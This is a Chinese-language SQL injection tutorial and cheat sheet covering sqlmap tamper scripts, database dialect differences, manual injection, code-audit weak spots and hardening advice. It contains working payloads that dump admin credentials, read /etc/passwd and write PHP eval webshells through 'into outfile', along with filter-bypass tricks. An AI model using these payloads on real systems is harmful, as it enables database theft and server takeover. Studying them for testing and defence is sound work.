SQL注入關聯分析


在Web攻防中,SQL注入絕對是一個技能的頻繁項,為了技術的成熟化、自動化、智能化,我們有必要建立SQL注入與之相關典型技術之間的關聯規則。在分析過程中,整個規則均圍繞核心詞進行直線展開,我們簡單稱之為“線性”關聯。以知識點的復雜性我們雖然稱不上為神經網絡,但它依然像滾雪球般對知識架構進行完善升級,所以也可稱之為雪球技術。

 

本文以SQL注入為核心,進行資料信息整合性解讀,主要目的有:

 

  1. 為關聯分析這門科學提供簡單認知;

  2. 為初級安全愛好學習者提供參考,大牛繞過;

  3. 分析各關鍵點的區別與聯系;

  4. 安全掃盲。

 

本文結構如下:

 

 

PS:文章中使用了N多表格形式,主要是為了更好的區別與聯系,便於關聯分析及對比。

 

 

0x01 基本科普

 

1.1  概念說明

 

說明:通過在用戶可控參數中注入SQL語法,破壞原有SQL結構,達到編寫程序時意料之外結果的攻擊行為。http://wiki.wooyun.org/web:sql

 

影響:數據庫增刪改查、后台登錄、getshell

 

修復:

  • 使用參數檢查的方式,攔截帶有SQL語法的參數傳入應用程序

  • 使用預編譯的處理方式處理拼接了用戶參數的SQL語句

  • 在參數即將進入數據庫執行之前,對SQL語句的語義進行完整性檢查,確認語義沒有發生變化

  • 在出現SQL注入漏洞時,要在出現問題的參數拼接進SQL語句前進行過濾或者校驗,不要依賴程序最開始處防護代碼

  • 定期審計數據庫執行日志,查看是否存在應用程序正常邏輯之外的SQL語句執行

 

 

 

1.2  注入分類

 

1)  按照數據包方式分類

 

i.  Get post cookie auth

 

2)  按照呈現形式

 

i.  回顯型注入

i)  Int string search

 

ii.  盲注

i)  Error bool time

 

iii.  另類注入

i)  寬字節注入

ii)  http header 注入

iii)  偽靜態

vi)  Base64變形

 

神器解讀

 

2.1  何為神器

 

SQLMAP

 

使用方法,參見烏雲知識庫。

 

1.  sqlmap用戶手冊

2.  sqlmap用戶手冊[續]

3.  sqlmap進階使用

 

Tamper 概覽

 

 

腳本名稱

作用

apostrophemask.py

用utf8代替引號

equaltolike.py

like  代替等號

space2dash.py

繞過過濾‘=’ 替換空格字符(”),(’  – ‘)后跟一個破折號注釋,一個隨機字符串和一個新行(’ n’)

greatest.py

繞過過濾’>’ ,用GREATEST替換大於號。

space2hash.py

空格替換為#號 隨機字符串 以及換行符

apostrophenullencode.py

繞過過濾雙引號,替換字符和雙引號。

halfversionedmorekeywords.py

當數據庫為mysql時繞過防火牆,每個關鍵字之前添加mysql版本評論

space2morehash.py

空格替換為 #號 以及更多隨機字符串 換行符

appendnullbyte.py

在有效負荷結束位置加載零字節字符編碼

ifnull2ifisnull.py

繞過對 IFNULL 過濾。 替換類似’IFNULL(A, B)’為’IF(ISNULL(A), B, A)’

space2mssqlblank.py

空格替換為其它空符號

base64encode.py

用base64編碼替換

space2mssqlhash.py

替換空格

modsecurityversioned.py

過濾空格,包含完整的查詢版本注釋

space2mysqlblank.py

空格替換其它空白符號(mysql)

between.py

用between替換大於號(>)

space2mysqldash.py

替換空格字符(”)(’ – ‘)后跟一個破折號注釋一個新行(’ n’)

multiplespaces.py

圍繞SQL關鍵字添加多個空格

space2plus.py

用+替換空格

bluecoat.py

代替空格字符后與一個有效的隨機空白字符的SQL語句。 然后替換=為like

nonrecursivereplacement.py

取代predefined SQL關鍵字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters

space2randomblank.py

代替空格字符(“”)從一個隨機的空白字符可選字符的有效集

sp_password.py

追加sp_password’從DBMS日志的自動模糊處理的有效載荷的末尾

chardoubleencode.py

雙url編碼(不處理以編碼的)

unionalltounion.py

替換UNION ALL SELECT UNION  SELECT

charencode.py

url編碼

randomcase.py

隨機大小寫

unmagicquotes.py

寬字符繞過 GPC addslashes

randomcomments.py

用/**/分割sql關鍵字

charunicodeencode.py

字符串  unicode 編碼

securesphere.py

追加特制的字符串

versionedmorekeywords.py

注釋繞過

space2comment.py

Replaces space  character (‘ ‘) with comments ‘/**/’

 

一些妙用:

 

1.  避免過多的錯誤請求被屏蔽  參數:--safe-url,--safe-freq

2.  二階SQL注入  參數:--second-order

3.  從數據庫服務器中讀取文件  參數:--file-read

4.  把文件上傳到數據庫服務器中  參數:--file-write,--file-dest

5.  爬行網站URL  參數:--crawl

6.  非交互模式  參數:--batch

7.  測試WAF/IPS/IDS保護  參數:--identify-waf

8.  啟發式判斷注入  參數:--smart(有時對目標非常多的URL進行測試,為節省時間,只對能夠快速判斷為注入的報錯點進行注入,可以使用此參數。)

9.  -technique

B :基於Boolean的盲注(Booleanbased blind)

Q :內聯查詢(Inline queries)

T :基於時間的盲注(time based blind)

U :基於聯合查詢(Union query based)

E :基於錯誤(error based)

S : 棧查詢(stack queries)

 

2.2  源碼精讀

 

流程圖

 

 

目前還未看完,先摘抄一部分(基於時間的盲注)講解:

 

測試應用是否存在SQL注入漏洞時,經常發現某一潛在的漏洞難以確認。這可能源於多種原因,但主要是因為Web應用未顯示任何錯誤,因而無法檢索任何數據。

 

對於這種情況,要想識別漏洞,向數據庫注入時間延遲並檢查服務器響應是否也已經延遲會很有幫助。時間延遲是一種很強大的技術,Web服務器雖然可以隱藏錯誤或數據,但必須等待數據庫返回結果,因此可用它來確認是否存在SQL注入。該技術尤其適合盲注。

 

使用了基於時間的盲注來對目標網址進行盲注測試,代碼如下:

 

 

 

重點注意Request.queryPage函數,將參數timeBasedCompare設置為True,所以在Request.queryPage函數內部,有這么一段代碼:

 

 

而函數wasLastRequestDelayed()的功能主要是判斷最后一次的請求是否有明顯的延時,方法就是將最后一次請求的響應時間與之前所有請求的響應時間的平均值進行比較,如果最后一次請求的響應時間明顯大於之前幾次請求的響應時間的平均值,就說明有延遲。

 

wasLastRequestDelayed函數的代碼如下:

 

 

每次執行http請求的時候,會將執行所響應的時間append到kb.responseTimes列表中,但不包括time-based blind所發起的請求。

 

從以下代碼就可以知道了,當timeBasedCompare為True(即進行time-based blind注入檢測)時,直接返回執行結果,如果是其他類型的請求,就保存響應時間。

 

 

 

另外,為了確保基於時間的盲注的准確性,sqlmap執行了兩次queryPage。

 

如果2次的結果都為True,那么就說明目標網址可注入,所以將injectable 設置為True。

 

0x03  數據庫特性

 

3.1  Web報錯關鍵字

 

  • Microsoft OLE DB  Provider

  • ORA-

  • PLS-

  • Error in your SQL Syntax

  • SQL Error

  • Incorrect Syntax near

  • Failed Mysql

  • Unclosed Quotation Mark

  • JDBC/ODBC Driver

 

3.2  版本查詢

 

Mysql: /?param=1 select count(*)  from information_schema.tables group by concat(version(),floor(rand(0)*2))

MSSQL: /?param=1  and(1)=convert(int,@@version)--

Sybase: /?param=1 and(1)=convert(int,@@version)--

Oracle >=9.0: /?param=1  and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version  where rownum=1)||chr(62))) from dual)—

PostgreSQL: /?param=1  and(1)=cast(version() as numeric)--

 

3.3  SQL方言差異

 

 

DB

連接符

行注釋

唯一的默認表變量和函數

MSSQL

%2B    (URL+號編碼)

e.g.  ?category=sho’%2b’es

--

@@PACK_RECEIVED

MYSQL

%20    (URL空格編碼)

#

CONNECTION_ID()

Oracle

||

--

BITAND(1,1)

PGsql

||

--

getpgusername()

Access

“a”  & “b”

N/A

msysobjects

 

3.4  SQL常用語句

 

SQL常用語句

 

 

內容

MSSQL

MYSQL

ORACLE

查看版本

select  @@version

select  @@version

select  version()

Select  banner from v$version;

當前用戶

select  system_users;

select  suer_sname();

select  user;

select  loginname from master..sysprocesses WHERE spid =@@SPID;

select  user();

select  system_user();

Select  user from dual

列出用戶

select  name from master..syslogins;

select  user from mysql.user;

Select  username from all_users ORDER BY username;

Select  username from all_users;

當前庫

select  DB_NAME();

select  database();

Select  global_name from global_name;

列出數據庫

select  name from master..sysdatabases;

select  schema_name from information_schema.schemata;

Select  ower,table_name from all_users;

#列出表明

當前用戶權限

select  is_srvolemenber(‘sysadmin’);

select  grantee, privilege_type,is_grantable from information schema.user privileges;

Select  * from user role_privs;

Select  * from user_sys_privs;

服務器主機名

select  @@servername;

/

Select  sys_context(‘USERENV’,’HOST’) from dual;

 

 

 

3.5  盲注函數

 

 

數據

MSSQL

Mysql

oracle

字符串長度

LEN()

LENGTH()

LENGTH()

從給定字符串中提取子串

SUBSTRING(string,offset,length)

SELECT  SUBSTR(string,offset,length)

SELECT  SUBSTR(string,offset,length)

From  dual

字符串(‘ABC’)不帶單引號的表示方式

SELECT  CHAR(0X41)+CHAR(0X42)+

CHAR(0X43)

Select  char(65,66,67)

Select  chr(65)||chr(66)+chr(67) from dual

觸發延時

WAITFOR  DELAY ‘0:0:9’

BENCHMARK(1000000,MD5(“HACK”))

 

Sleep(10)

BEGIN  DBMS_LOCK.SLEEP(5);END; --(僅PL/SQL注入)

UTL_INADDR.get_host_name()

UTL_INADDR.get_host_address()

UTL_HTTP.REQUEST()

IF語句

If  (1=1) select ‘A’ else select ‘B’

SELECT  if(1=1,’A’,’B’)

/

 

PS:SQLMAP 針對Oracle注入時,使用了比較費解的SUBSTRC,好多時候得中轉更改為SUBSTR.

 

 

0x04手工注入

 

4.1  應用場景

 

1)  快速驗證(概念性證明)

 

2)  工具跑不出來了

i)  的確是注入,但不出數據

ii)  特征不規律,挖掘規律,定制腳本

 

3)  繞過過濾

i)  有WAF,手工注入

ii)  有過濾,搞繞過

 

4)  盲注類

 

4.2  常用語句

 

 

數據庫

語句(大多需要配合編碼)

Oracle

oder  by N

#  爆出第一個數據庫名

and  1=2 union select 1,2,(select banner from sys.v_ where rownum=1),4,5,6 from  dual

#  依次爆出所有數據庫名,假設第一個庫名為first_dbname

and  1=2 union select 1,2,(select owner from all_tables where rownum=1 and  owner<>'first_dbname'),4,5,6 from dual

爆出表名

and  1=2 union select 1,2,(select table_name from user_tables where  rownum=1),4,5,6 from dual

同理,同爆出下一個數據庫類似爆出下一個表名就不說了,但是必須注意表名用大寫或者表名大寫的十六進制代碼。
 有時候我們只想要某個數據庫中含密碼字段的表名,采用模糊查詢語句,如下:
 and (select column_name from user_tab_columns where column_name like  '%25pass%25')<0

爆出表tablename中的第一個字段名

and  1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename'  and rownum=1),4,5,6 from dual

依次下一個字段名

and  1=2 union select 1,2,(select column_name from user_tab_columns where  table_name='tablename' and column_name<>'first_col_name' and  rownum=1),4,5,6 from dual

 

若為基於時間或者基於bool類型盲注,可結合substr 、ASCII進行賦值盲測。

若屏蔽關鍵函數,可嘗試SYS_CONTEXT('USERENV','CURRENT_USER')類用法。

Mysql

#正常語句

192.168.192.128/sqltest/news.php?id=1

#判斷存在注入否

192.168.192.128/sqltest/news.php?id=1  and 1=2

#確定字段數 order by

192.168.192.128/sqltest/news.php?id=-1  order by 3

#測試回顯字段

192.168.192.128/sqltest/news.php?id=-1  union select 1,2,3

#測試字段內容

192.168.192.128/sqltest/news.php?id=-1  union select 1,user(),3

192.168.192.128/sqltest/news.php?id=-1  union select  1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3

#查詢當前庫下所有表

192.168.192.128/sqltest/news.php?id=-1  union select 1,2,group_concat(table_name) from information_schema.tables  where table_schema=database()

#查詢admin表下的字段名(16進制)

192.168.192.128/sqltest/news.php?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns  where table_name=0x61646d696e

#查詢admin表下的用戶名密碼

192.168.192.128/sqltest/news.php?id=-1  union select 1,2,group_concat(name,0x5e,pass) from admin

#讀取系統文件(/etc/passwd,需轉換為16進制)

192.168.192.128/sqltest/news.php?id=-1  union select 1,2,load_file(0x2f6574632f706173737764)

#文件寫入

192.168.192.128/sqltest/news.php?id=-1  union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into  outfile '/var/www/html/1.php'--

PS:若權限不足,換個目錄

MSSQL

PS:回顯型請查閱參考資料的鏈接,這里主要盲注的語法。

#爆數據庫版本(可先測長度)

aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=67/**/--&t=0

ps:在范圍界定時,可利用二分查找結合大於小於來利用;亦可直接賦值腳本爆破,依次類推直至最后一字母。

#爆當前數據庫名字

aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0

#爆表

aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1  name/**/from/**/dbname.sys.all_objects where  type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0

#爆user表內字段

aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/  1/**/COLUMN_NAME from/**/dbname.information_schema.columns/**/where/**  /TABLE_NAME='user'),1,1))>0/**/--&t=0

#爆數據

aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/User),1,1))>0/**/--&t=0

 

PS:關於注入繞過(bypass),內容偏多、過細,本次暫不歸納。單獨一篇

 

 

0x05漏洞挖掘

 

5.1  黑盒測試

 

套裝組合

 

1)  AWVS類 + sqlmap (手工)

2)  Burp+ sqlmapAPI(手工)

 

 

減少體力活的工程化

 

Sqli-hunter

GourdScan

 

5.2  代碼審計

 

白盒的方式有兩種流,一種是檢查所有輸入,另一種是根據危險函數反向

 

注入引發的特征點及敏感函數。

 

 

NO.

概要

1

$_SERVER未轉義

2

更新時未重構更新序列

3

使用了一個未定義的常量

4

PHP自編標簽與strip_tags順序邏輯繞過

5

可控變量進入雙引號

6

寬字節轉編碼過程

7

mysql多表查詢繞過

8

別名as+反引號可閉合其后語句

9

mysql的類型強制轉換

10

過濾條件是否有if判斷進入

11

全局過濾存在白名單

12

字符串截斷函數獲取定長數據

13

括號包裹繞過

14

弱類型驗證機制

15

WAF或者過濾了and|or的情況可以使用&&與||進行盲注。

16

windows下php中訪問文件名使用”<” “>”將會被替換成”*” “?”

17

二次urldecode注入

18

邏輯引用二次注入

 

1)  $_SERVER[‘PHP_SELF’]和$_SERVER[‘QUERY_STRING’],而$_SERVER並沒有轉義,造成了注入。

 

2)  update更新時沒有重構更新序列,導致更新其他關鍵字段(金錢、權限)

 

 

 

 

 

 

3)  在 php中 如果使用了一個未定義的常量,PHP 假定想要的是該常量本身的名字,如同用字符串調用它一樣(CONSTANT 對應 “CONSTANT”)。此時將發出一個 E_NOTICE 級的錯誤(參考http://php.net/manual/zh/language.constants.syntax.php)

 

4)  PHP中自編寫對標簽的過濾或關鍵字過濾,應放在strip_tags等去除函數之后,否則引起過濾繞過。

 

 

 

 

5)  當可控變量進入雙引號中時可形成webshell因此代碼執行使用,${file_put_contents($_GET[f],$_GET[p])}可以生成webshell。

 

 

6)  寬字節轉編碼過程中出現寬字節注入

 

PHP連接MySQL時設置setcharacter_set_client=gbk ,MySQL服務器對查詢語句進行GBK轉碼導致反斜杠\被%df吃掉。

 

7)  構造查詢語句時無法刪除目標表中不存在字段時可使用mysql多表查詢繞過

 

 

 

 

8)  mysql中(反引號)能作為注釋符,且會自動閉合末尾沒有閉合的反引號。無法使用注釋符的情況下使用別名as+反引號可閉合其后語句。

 

9)  mysql的類型強制轉換可繞過PHP中empty()函數對0的false返回

 

提交/?test=0axxx    ->  empty($_GET['test']) => 返回真

 

但是mysql中提交其0axxx到數字型時強制轉換成數字0

 

 

 

10)  存在全局過濾時觀察過濾條件是否有if判斷進入,cms可能存在自定safekey不啟用全局過濾。通過程序遺留或者原有界面輸出safekey導致繞過。

 

 

11)  由於全局過濾存在白名單限定功能,可使用無用參數帶入繞過。

 

$webscan_white_directory='admin|\/dede\/|\/install\/';

 

請求中包含了白名單參數所以放行。

 

http://www.target.com/index.php/dede/?m=foo&c=bar&id=1'  and 1=2 union select xxx

 

12)  字符串截斷函數獲取定長數據,截取\\或\’前一位,閉合語句。


利用條件必須是存在兩個可控參數,前閉合,后注入。

 

13)  過濾了空格,逗號的注入,可使用括號包裹繞過。具體如遇到select from(關鍵字空格判斷的正則,且剔除/**/等)可使用括號包裹查詢字段繞過。

 

14)  由於PHP弱類型驗證機制,導致==、in_array()等可通過強制轉換繞過驗證。

 

 

 

15)  WAF或者過濾了and|or的情況可以使用&&與||進行盲注。

 

 

16)  windows下php中訪問文件名使用”<” “>”將會被替換成”*” “?”,分別代表N個任意字符與1個任意字符。

 

file_get_contents("/images/".$_GET['a'].".jpg");

 

可使用test.php?a=../a<%00訪問對應php文件。

 

17)  使用了urldecode 或者rawurldecode函數,則會導致二次解碼聲場單引號而發生注入。

 

 

 

 

18)  邏輯引用,導致二次注入

 

部分盲點

 

盲點如下:

 

①注入點類似id=1這種整型的參數就會完全無視GPC的過濾;

②注入點包含鍵值對的,那么這里只檢測了value,對key的過濾就沒有防護;

③有時候全局的過濾只過濾掉GET、POST和COOKIE,但是沒過濾SERVER。

 

附常見的SERVER變量(具體含義自行百度):QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE

 

PS:若對注入的代碼審計有實際操類演練,參考白帽子分享之代碼審計的藝術系列HackBraid@301在路上

 

 

0x06  安全加固

 

6.1  源碼加固

 

1)  預編譯處理

 

參數化查詢是指在設計與數據庫鏈接並訪問數據時,在需要填入數值或數據的地方,使用參數來給值。在SQL語句中,這些參數通常一占位符來表示。

 

MSSQL(ASP.NET)

 

為了提高sql執行速度,請為SqlParameter參數加上SqlDbType和size屬性

 

 

PHP

 

 

JAVA

 

 

PS:盡管SQL語句大體相似,但是在不同數據庫的特點,可能參數化SQL語句不同,例如在Access中參數化SQL語句是在參數直接以“?”作為參數名,在SQL Server中是參數有“@”前綴,在MySQL中是參數有“?”前綴,在Oracle中參數以“:”為前綴。

 

2)  過濾函數的使用

 

i.  addslashes()

ii.  mysql_escape_string()

iii.  mysql_real_escape_string()

iv.  intval()

 

3)  框架及第三方過濾函數與類

 

i.  JAVA hibernate框架

ii.  Others

 

6.2  產品加固

 

Web應用防火牆——WAF

Key:雲waf、安全狗、雲鎖、sqlchop

 

0x07  關聯應用

 

7.1  Getshell

 

1)  注入,查數據,找管理員密碼,進后台,找上傳,看返回,getshell

 

2)  PHPMYSQL 類,大權限,知路徑,傳文件,回shell(上傳&命令執行),OS-SHELL。

 

3)  MSSQL大權限,知路徑,傳文件,回shell。結合xp_cmdshell 執行系統命令。

 

4)  Phpmyadmingetshell (編碼)

 

select'<?eval($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';

 

5)  Unionselect getshell

 

and 1=2 union select0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile'/alidata/www/cms/ttbdxt/conf.php'--

 

7.2  關聯功能點

 

功能點

參數

登錄

Username password

Header

Cookie  Referer x-forward remote-ip

查詢展示

數據寫入(表單)

數據更新

id u category price  str value

數據搜素

Key

偽靜態

(同3),加*

Mysql不安全配置

Set  character_set_client=gbk

%df%27

傳參(橫向數據流向、縱向入庫流向)

Parameter (同3)

訂單類多級交互、重新編輯

配送地址、資料編輯

二次注入

APP仍調用WEB  API

同3

編碼urldecode base64

Urldecode()  rawurldecode()

 

0x08  參考資料

 

http://blog.csdn.net/rongyongfeikai2/article/details/40457827

http://drops.wooyun.org/tips/5254

https://www.91ri.org/7852.html

https://www.91ri.org/7869.html

https://www.91ri.org/7860.html

http://www.cnblogs.com/hongfei/category/372087.html

http://www.cnblogs.com/shellr00t/p/5310187.html

https://www.91ri.org/15074.html

http://blog.wils0n.cn/?post=11


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM